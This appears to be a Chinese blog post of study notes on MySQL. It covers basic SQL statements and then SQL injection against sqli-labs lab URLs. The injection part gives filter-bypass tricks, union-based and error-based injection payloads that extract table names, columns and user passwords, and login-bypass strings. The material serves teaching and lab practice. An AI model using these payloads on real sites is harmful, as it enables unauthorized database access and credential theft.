某教程学习笔记(一):09、MYSQL数据库漏洞

本文涉及的产品
RDS MySQL DuckDB 分析主实例,基础系列 4核8GB
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
RDS AI 助手,专业版
简介: 某教程学习笔记(一):09、MYSQL数据库漏洞

一、MYSQL语句


创建数据库


create database test;


选择要操作的数据库


user test


创建表


create table aiyou ( id int, username varchar(20), password varchar(30));


向表中插入数据


insert into aiyou values(1,‘admin’,‘456’);


insert into aiyou values(2,‘boss’,‘123’);


insert into aiyou values(3,‘ttt’,‘123’),(3,‘qqq’,‘321’’);

0a2653c851af460fa595bd959398a8f1.png

显示aiyou表中的所有记录


select * from aiyou;

0eacb84100b54626af849e6b562bf92a.png

从aiyou表中查找满足条件id=1的记录


select * from aiyou where id=1;


从aiyou表中查找满足条件id=1的记录,并只显示username和password字段内容


select username,password from aiyou where id=1;


从aiyou表中查找同时满足条件id=1以及username=“admin”的记录


select * from aiyou where id=1 and username=“admin”;


从aiyou表中查找同时满足条件id=1或者username=“boss”的记录


select * from aiyou where id=1 or username=“boss”;

0a2653c851af460fa595bd959398a8f1.png

drop database test;删除数据库


drop table test;删除表格


update aiyou set password=‘111’ where username=‘boss’ 更新数据


delete from aiyou where username=‘boss’; 删除数据


select load_file(‘c:/111.txt’); 读文件


show databases; 显示当前数据库


show tables;显示选择的数据的所有表

0eacb84100b54626af849e6b562bf92a.png

show create table aiyou \G;显示表结构的详细数据


describe 表名;显示表结构,大写可以自动补全


select database(); 显示当前数据库


select version() 显示数据库版本


select user() 显示当前用户


select now();显示当前时间

0a2653c851af460fa595bd959398a8f1.png

select system_user();获取系统用户名


select current_user();获取当前用户名


select session_user();连接数据库的用户名

0eacb84100b54626af849e6b562bf92a.png

select @@datadir; 读取数据库路径


select @@basedir;mysql安装路径


select @@version_compile_os; 操作系统

0a2653c851af460fa595bd959398a8f1.png

二、数据库连接


三、防注入绕过


目标:http://www.aiyou .com?id=1


1、大小写绕过


http://www.aiyou .com?id=1 And 1=1


2、双写绕过


http://www.aiyou .com?id=1 aandnd 1=1


3、%00绕过


http://www.aiyou .com?id=1 a%00nd 1=1


四、手工注入


1、http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=1 返回正常

0a2653c851af460fa595bd959398a8f1.png

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 返回错误,说明存在注入

0eacb84100b54626af849e6b562bf92a.png

2、判断列数


http://192.168.21.140/sqli/Less-2/index.php?id=1 order by 3 返回正常,4返回返回错误,说明存在三列

2d65d23f6d4748949b924e4057485923.png

3、联合查询


http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,2,3 将2或3输入我们想要查询的内容

0a2653c851af460fa595bd959398a8f1.png

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,version(),database(),获取当前数据库及数据库版本


4、获取表名


http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ 获取security数据库下的表名

0eacb84100b54626af849e6b562bf92a.png

5、获取列名


http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ 获取users表下的列名

2d65d23f6d4748949b924e4057485923.png

6、获取字段内容


http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users

0a2653c851af460fa595bd959398a8f1.png

五、报错注入


1、获取数据库用户


http://192.168.21.137/sqli/Less-1/index.php?id=1’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user()limit 0,1))a from information_schema.tables group by a)b --+

0eacb84100b54626af849e6b562bf92a.png

2、获取数据库名称


http://192.168.21.137/sqli/Less-1/index.php?id=1’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select database()limit 0,1))a from information_schema.tables group by a)b --+


http://192.168.21.137/sqli/Less-1/index.php?id=1’ and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

0a2653c851af460fa595bd959398a8f1.png

3、获取当前数据库名称,返回的是一个十六进制,需要还原


http://192.168.21.137/sqli/Less-1/index.php?id=1’ and (select 1 from(select count(*),concat((select(select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

0eacb84100b54626af849e6b562bf92a.png 2d65d23f6d4748949b924e4057485923.png

4、获取表名


http://192.168.21.137/sqli/Less-1/index.php?id=1’ and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

0a2653c851af460fa595bd959398a8f1.png

5、获取字段


http://192.168.21.137/sqli/Less-1/index.php?id=1’and(select 1 from(select count(*),concat((select(select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

0eacb84100b54626af849e6b562bf92a.png

6、获取字段内容


http://192.168.21.137/sqli/Less-1/index.php?id=1’ and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x7e,password,0x27,0x7e) FROM users LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

2d65d23f6d4748949b924e4057485923.png

六、后台绕过


1、admin’#


2、admin’ or 1=1 #


3、‘or’=‘or’


4、admin’ or ‘1’='1


5、admin’ #


七、获取网站的根沐浴露


1、报错显示


2、site:目标网站 warning


3、遗留文件phpinfo


4、漏洞爆路径


5、读取配置文件


禁止非法,后果自负

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
6月前
|
安全 关系型数据库 MySQL
CentOS 7 yum 安装 MySQL教程
在CentOS 7上安装MySQL 8,其实流程很清晰。首先通过官方Yum仓库来安装服务,然后启动并设为开机自启。最重要的环节是首次安全设置:需要先从日志里找到临时密码来登录,再修改成你自己的密码,并为远程连接创建用户和授权。最后,也别忘了在服务器防火墙上放行3306端口,这样远程才能连上。
1343 16
|
存储 关系型数据库 MySQL
MySQL索引学习笔记
本文深入探讨了MySQL数据库中慢查询分析的关键概念和技术手段。
818 81
|
10月前
|
存储 关系型数据库 MySQL
【免费动手教程上线】阿里云RDS MySQL推出大容量高性能存储:高性能本地盘(最高16TB存储空间)、高性能云盘(最高64TB存储空间)
阿里云RDS MySQL提供高性能本地盘与高性能云盘等存储方案,满足用户大容量、低延迟需求。高性能本地盘单盘最大16TB,IO延时微秒级;高性能云盘兼容ESSD特性,支持IO性能突发、BPE及16K原子写等能力。此外,阿里云还提供免费动手体验教程,帮助用户直观感受云数据库 RDS 存储性能表现。
|
NoSQL Java 关系型数据库
Liunx部署java项目Tomcat、Redis、Mysql教程
本文详细介绍了如何在 Linux 服务器上安装和配置 Tomcat、MySQL 和 Redis,并部署 Java 项目。通过这些步骤,您可以搭建一个高效稳定的 Java 应用运行环境。希望本文能为您在实际操作中提供有价值的参考。
887 26
|
关系型数据库 MySQL Java
Servlet+MySQL增删改查 原文出自[易百教程] 转载请保留原文链接: https://www.yiibai.com/geek/1391
对于任何项目开发,创建,读取,更新和删除(CRUD)记录操作是应用程序的一个最重要部分。
346 20
|
SQL 关系型数据库 MySQL
Mysql学习笔记(三):fetchone(), fetchmany(), fetchall()详细总结
MySQL中用于数据检索的`fetchone()`, `fetchmany()`, `fetchall()`函数的功能、SQL语句示例和应用场景。
482 3
Mysql学习笔记(三):fetchone(), fetchmany(), fetchall()详细总结
|
存储 SQL 关系型数据库
【入门级教程】MySQL:从零开始的数据库之旅
本教程面向零基础用户,采用通俗易懂的语言和丰富的示例,帮助你快速掌握MySQL的基础知识和操作技巧。内容涵盖SQL语言基础(SELECT、INSERT、UPDATE、DELETE等常用语句)、使用索引提高查询效率、存储过程等。适合学生、开发者及数据库爱好者。
642 0
【入门级教程】MySQL:从零开始的数据库之旅
|
关系型数据库 MySQL 数据库
Mysql学习笔记(四):Python与Mysql交互--实现增删改查
如何使用Python与MySQL数据库进行交互,实现增删改查等基本操作的教程。
243 1
|
6月前
|
缓存 关系型数据库 BI
使用MYSQL Report分析数据库性能(下)
使用MYSQL Report分析数据库性能
461 158

推荐镜像

更多